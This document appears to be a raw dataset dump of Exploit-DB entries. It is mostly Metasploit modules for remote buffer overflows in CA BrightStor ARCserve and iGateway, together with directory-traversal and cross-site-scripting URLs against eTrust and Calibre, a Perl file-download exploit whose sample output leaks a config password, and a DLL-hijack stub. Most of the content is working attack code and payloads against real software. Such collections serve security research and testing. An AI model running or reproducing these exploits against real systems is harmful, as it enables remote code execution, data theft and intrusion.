deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16409
Description: CA BrightStor ARCserve for Laptops & Desktops LGServer - Remote Buffer Overflow (Metasploit) (2)
Type: remote
Platform: windows
Date: 2010-11-03
Author: Metasploit

Exploit:
##
# $Id: lgserver_rxsuselicenseini.rb 10892 2010-11-03 22:09:44Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
				for Laptops & Desktops 11.1. By sending a specially crafted request (rxsUseLicenseIni), an
				attacker could overflow the buffer and execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10892 $',
			'References'     =>
				[
					[ 'CVE', '2007-3216' ],
					[ 'OSVDB', '35329' ],
					[ 'BID', '24348' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 700,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[ 'Windows 2003 SP0 English',	{ 'Ret' => 0x71ae1f9b } ],
					[ 'Windows 2000 SP4 English',	{ 'Ret' => 0x75031dce } ],
				],
			'DisclosureDate' => 'Jun 6 2007',
			'DefaultTarget' => 0))

		register_options([ Opt::RPORT(1900) ], self.class)
	end

	def check
		connect

		sock.put("[PII_REDACTED]rxrGetServerVersion")
		ver = sock.get_once

		disconnect

		if ( ver =~ /11.1.742/ )
				return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		data  = rand_text_alpha_upper(4108) + [target.ret].pack('V')
		data << payload.encoded + rand_text_alpha_upper(rand(300) + 1)

		sploit  = "[PII_REDACTED]"         # Command Length Field
		sploit << "rxsUseLicenseIni"   # RPC Command
		sploit << "~~"                 # Constant Argument Delimiter
		sploit << data

		print_status("Trying target #{target.name}...")
		# One-shot overwrite...
		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #16411
Description: CA BrightStor ARCserve for Laptops & Desktops LGServer - Remote Buffer Overflow (Metasploit) (3)
Type: remote
Platform: windows
Date: 2010-11-03
Author: Metasploit

Exploit:
##
# $Id: lgserver_rxrlogin.rb 10892 2010-11-03 22:09:44Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
				for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could
				overflow the buffer and execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10892 $',
			'References'     =>
				[
					[ 'CVE', '2007-5003' ],
					[ 'OSVDB', '41353' ],
					[ 'BID', '24348' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 550,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform' => 'win',
			'Targets'  =>
					[
						[ 'Windows 2003 SP0 English',     { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
						[ 'Windows 2000 SP4 English',     { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
					],
			'DisclosureDate' => 'Jun 6 2007',
			'DefaultTarget' => 0))

		register_options([ Opt::RPORT(1900) ], self.class)
	end

	def check
		connect

		sock.put("[PII_REDACTED]rxrGetServerVersion")
		ver = sock.get_once

		disconnect

		if ( ver =~ /11.1.742/ )
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		buffer =  rand_text_alpha_upper(17420) + [target.ret].pack('V')
		buffer << payload.encoded + rand_text_alpha_upper(300)

		sploit  = "[PII_REDACTED]" # Command Length Field
		sploit << "rxrLogin"   # RPC Command
		sploit <<  "~~"        # Constant Argument Delimiter
		sploit <<  buffer      # Argument

		print_status("Trying target #{target.name}...")
		# One-shot overwrite...
		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #16414
Description: CA BrightStor ARCserve License Service - 'GCR NETWORK' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-03
Author: Metasploit

Exploit:
##
# $Id: license_gcr.rb 10892 2010-11-03 22:09:44Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup 11.0.
				By sending a specially crafted request to the lic98rmtd.exe service, an attacker
				could overflow the buffer and execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10892 $',
			'References'     =>
				[
					[ 'CVE', '2005-0581' ],
					[ 'OSVDB', '14389' ],
					[ 'BID', '12705' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x09\x0a\x0d\x20\x0c\x25\x26\x27\x0b\x2b\x2f\x3a\x3c\x3e\x3f\x40",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform' => 'win',
			'Targets'  =>
					[
						[ 'Windows 2003 SP0 English',     { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
						[ 'Windows 2000 SP4 English',     { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
					],
			'DisclosureDate' => 'Mar 2 2005',
			'DefaultTarget' => 0))

		register_options([ Opt::RPORT(10202) ], self.class)
	end

	def exploit
		connect

		buff =  rand_text_alpha_upper(256) + [target.ret].pack('V')
		buff << make_nops(12) + payload.encoded

		# NETWORK<x.x.x.x buff x.x.x.x.x> ... worked for me.
		sploit  = "A0 GCR NETWORK<#{buff}>RMTV<1.00><EOM>"

		print_status("Trying target #{target.name}...")

		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #16412
Description: CA BrightStor ARCserve Message Engine 0x72 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-10-05
Author: Metasploit

Exploit:
##
# $Id: message_engine_72.rb 10551 2010-10-05 12:38:46Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	Rank = AverageRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup
				11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow
				the buffer and execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10551 $',
			'References'     =>
				[
					[ 'OSVDB', '68329'],
					[ 'URL', 'http://www.metasploit.com/users/mc' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[ 'BrightStor ARCserve r11.5/Windows 2003',	{ 'Ret' => 0x2380ceb5 } ],
				],
			'DisclosureDate' => 'Oct 4 2010',
			'DefaultTarget' => 0))

		register_options([Opt::RPORT(6504)], self.class)
	end

	def exploit

		connect

		handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
		print_status("Binding to #{handle} ...")

		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		sploit = NDR.string(rand_text_english(760) + generate_seh_payload(target.ret) + "\x00") + NDR.long(0)

		print_status("Trying target #{target.name}...")

			begin
				dcerpc_call(0x72, sploit)
				rescue Rex::Proto::DCERPC::Exceptions::NoResponse
			end

		handler
		disconnect

	end

end
=begin
/* opcode: 0x72, address: 0x28E893D0 */

short   sub_28E893D0 (
 [in] handle_t  arg_1,
 [in][ref][string] char * arg_2,
 [in, out][ref] long * arg_3
);
=end
Exploit-DB #16417
Description: CA BrightStor ARCserve Tape Engine - 0x8A Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-10-05
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  Rank = AverageRanking

  include Msf::Exploit::Remote::DCERPC

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
        r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
        the buffer and execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '68330'],
          [ 'URL', 'http://www.metasploit.com/users/mc' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'  =>
        [
          [ 'BrightStor ARCserve r11.5/Windows 2003',     { 'Ret' => 0x28eb6493 } ],
        ],
      'DisclosureDate' => 'Oct 4 2010',
      'DefaultTarget'  => 0))

    register_options([ Opt::RPORT(6502) ], self.class)
  end

  def exploit

    connect

    handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
    print_status("Binding to #{handle} ...")

    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    request =  "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00"
    request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

    dcerpc.call(0x2B, request)

    sploit =  NDR.long(4)
    sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00")

    print_status("Trying target #{target.name}...")

      begin
        dcerpc_call(0x8A, sploit)
        rescue Rex::Proto::DCERPC::Exceptions::NoResponse
      end

    handler
    disconnect

  end

end
=begin
/* opcode: 0x8A, address: 0x100707D0 */

long   sub_100707D0 (
 [in] handle_t  arg_1,
 [in] long  arg_2,
 [in][ref][string] char * arg_3
);
=end
Exploit-DB #28641
Description: CA eSCC r8/1.0 / eTrust Audit r8/1.5 - Arbitrary File Manipulation
Type: remote
Platform: windows
Date: 2006-09-21
Author: Patrick Webster

Exploit:
source: https://www.securityfocus.com/bid/20139/info
 
CA eTrust Security Command Center (eSCC) and eTrust Audit are prone to multiple vulnerabilities, including:
 
- an information-disclosure issue
- an arbitrary-file-deletion issue
- a replay issue.
 
These vulnerabilities occur because the software fails to validate user input and because of design errors in the way the software handles user permissions and secure data-transmission protocols.
 
An attacker may exploit these vulnerabilities to access sensitive information, delete arbitrary files with the permissions of the service account, and carry out external replay attacks.

https://www.example.com:8080/etrust/servlet/eSMPAuditServlet?verb=getadhochtml&eSCCAdHocHtmlFile=../../../../../../../boot.ini
Exploit-DB #28642
Description: CA eSCC r8/1.0 / eTrust Audit r8/1.5 - Audit Event System Replay Attack
Type: remote
Platform: windows
Date: 2006-09-21
Author: Patrick Webster

Exploit:
source: https://www.securityfocus.com/bid/20139/info
 
CA eTrust Security Command Center (eSCC) and eTrust Audit are prone to multiple vulnerabilities, including:
 
- an information-disclosure issue
- an arbitrary-file-deletion issue
- a replay issue.
 
These vulnerabilities occur because the software fails to validate user input and because of design errors in the way the software handles user permissions and secure data-transmission protocols.
 
An attacker may exploit these vulnerabilities to access sensitive information, delete arbitrary files with the permissions of the service account, and carry out external replay attacks.

The following command-line example will send a login-failure event:
etsapisend.exe -nod $dstIP -cat "System Access" -opr Logon -sta F -nam NT-Security -loc \\Domain\IIS_Server -usr System -evt 70 -src Security -nid 529 -inf "Logon Failure"
Exploit-DB #28640
Description: CA eSCC r8/1.0 / eTrust Audit r8/1.5 - Web Server Full Path Disclosure
Type: remote
Platform: windows
Date: 2006-09-21
Author: Patrick Webster

Exploit:
source: https://www.securityfocus.com/bid/20139/info

CA eTrust Security Command Center (eSCC) and eTrust Audit are prone to multiple vulnerabilities, including:

- an information-disclosure issue
- an arbitrary-file-deletion issue
- a replay issue.

These vulnerabilities occur because the software fails to validate user input and because of design errors in the way the software handles user permissions and secure data-transmission protocols.

An attacker may exploit these vulnerabilities to access sensitive information, delete arbitrary files with the permissions of the service account, and carry out external replay attacks.

https://www.example.com:8080/etrust/servlet/ePPIServlet?PIProfile=eAV_Report's&PIName=Generate+Pre-7.1+Report+Data&profile= Threat+Management&node=
Exploit-DB #16801
Description: CA iTechnology iGateway - Debug Mode Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: ca_igateway_debug.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CA iTechnology iGateway Debug Mode Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in the Computer Associates
				iTechnology iGateway component. When <Debug>True</Debug> is enabled
				in igateway.conf (non-default), it is possible to overwrite the stack
				and execute code remotely. This module works best with Ordinal payloads.
			},
			'Author'         => 'patrick',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2005-3190' ],
					[ 'OSVDB', '19920' ],
					[ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/1243' ],
					[ 'BID', '15025' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
					'Compat'   =>
					{
						'ConnectionType' => '+ws2ord',
					},
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Oct 06 2005',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(5250),
			], self.class)
	end

	def check
		connect
		sock.put("HEAD / HTTP/1.0\r\n\r\n\r\n")
		banner = sock.get(-1,3)

		if (banner =~ /GET and POST methods are the only methods supported at this time/) # Unique?
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		seh = generate_seh_payload(target.ret)
		buffer = Rex::Text.rand_text_alphanumeric(5000)
		buffer[1082, seh.length] = seh
		sploit = "GET /" + buffer + " HTTP/1.0"

		sock.put(sploit + "\r\n\r\n\r\n")

		disconnect
		handler
	end
end
Exploit-DB #16075
Description: Caedo HTTPd Server 0.5.1 ALPHA - Arbitrary File Download
Type: remote
Platform: windows
Date: 2011-01-29
Author: Zer0 Thunder

Exploit:
#!/usr/bin/perl
use LWP::Simple;
#Caedo HTTPd Server v 0.5.1 ALPHA Remote File Download Exploit
#Author : Zer0 Thunder
 
if (@ARGV < 3) {
    print("\r\n");
    print("Caedo HTTPd Server Remote File Download Exploit\r\n");
    print("Vuln Found and Exploited by Zer0 Thunder\r\n");
    print("***************************************************");
    print("Usage: " .$0. " [ host]  [ port ] [path] [ file ]\r\n");
    print("Example: " .$0. " hostingserver.com 80 / config.php\r\n\r\n");
    exit(1);
} else {
         print("Caedo HTTPd Server Remote File Download Exploit\r\n");
   	 print("Vuln Found and Exploited by Zer0 Thunder\r\n");
    	 print("***************************************************");

    ($target, $port, $path, $file) = @ARGV;
    $result= get("http://" .$target. ":" .$port. "/" .$path. "/".$file. ".");
        print("\nFile Content:\r\n\r\n");
    print($result. "\r\n");
    open FILE, ">$file";
    print FILE $result;
    close FILE;
    print " File Saved : $file \n\n";
	print "---------------------------------------------\n";
   	print "site : zt-security.com - colombohackers.com\n";
}
#zero@zero-desktop:~/Desktop/exploit$ perl caedo.pl 192.168.1.101 8080 test config.php
#Caedo HTTPd Server Remote File Download Exploit
#Vuln Found and Exploited by Zer0 Thunder
#***************************************************
#File Content:
#
#<?PHP
#Config File
#$db_host = "localhost";
#$db_name = "test";
#$db_user = "test"
#$db_pass = "y0usuck";
#?>
#
# File Saved : config.php 
#
#---------------------------------------------
#site : zt-security.com - colombohackers.com
#zero@zero-desktop:~/Desktop/exploit$
Exploit-DB #35318
Description: Cain & Abel 2.7.3 - 'dagc.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2011-02-07
Author: d3c0der

Exploit:
// source: https://www.securityfocus.com/bid/46239/info

Cain & Abel is prone to an arbitrary-code-execution vulnerability.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

Cain & Abel 2.7.3 is vulnerable; other versions may also be affected. 

#include <windows.h>
#define DllExport __declspec (dllexport)
DllExport void DwmSetWindowAttribute() { egg(); }

int pwnme()
{
  MessageBox(0, "dll hijacked !! ", "Dll Message", MB_OK);
  exit(0);
  return 0;
}
Exploit-DB #35130
Description: Calibre 0.7.34 - Cross-Site Scripting / Directory Traversal
Type: remote
Platform: windows
Date: 2010-12-21
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/45532/info

Calibre is prone to a cross-site scripting vulnerability and a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, and to view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials and other harvested information may aid in launching further attacks.

Calibre 0.7.34 is vulnerable; other versions may also be affected. 

<?php
error_reporting(E_ALL);
$url = "http://www.example.com/static/../jquery.simulate.js";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resp = curl_exec($ch);
curl_close($ch);
echo $resp;
?> 

<?php
error_reporting(E_ALL);
$url = "http://www.example.com/static/../../../../windows/win.ini.";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resp = curl_exec($ch);
curl_close($ch);
echo $resp;
?>

http://www.example.com/browse/search?query=<script>alert('waraxe')</script>
Exploit-DB #44582
Description: Call of Duty Modern Warefare 2 - Buffer Overflow
Type: remote
Platform: windows
Date: 2018-05-02
Author: momo5502

Exploit:
A few years ago, I became aware of a security issue in most Call of Duty games.
Although I did not discover it myself, I thought it might be interesting to see what it could be used for.

Without going into detail, this security issue allows users playing a Call of Duty match to cause a buffer overflow on the host’s system inside a stack-allocated buffer within the game’s network handling.
In consquence, this allows full remote code execution!

The code has been published as the vulnerability used has been patched on all cod games as of 4/26/2018.

For more information, read the post at https://momo5502.com/blog/?p=34

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44582.zip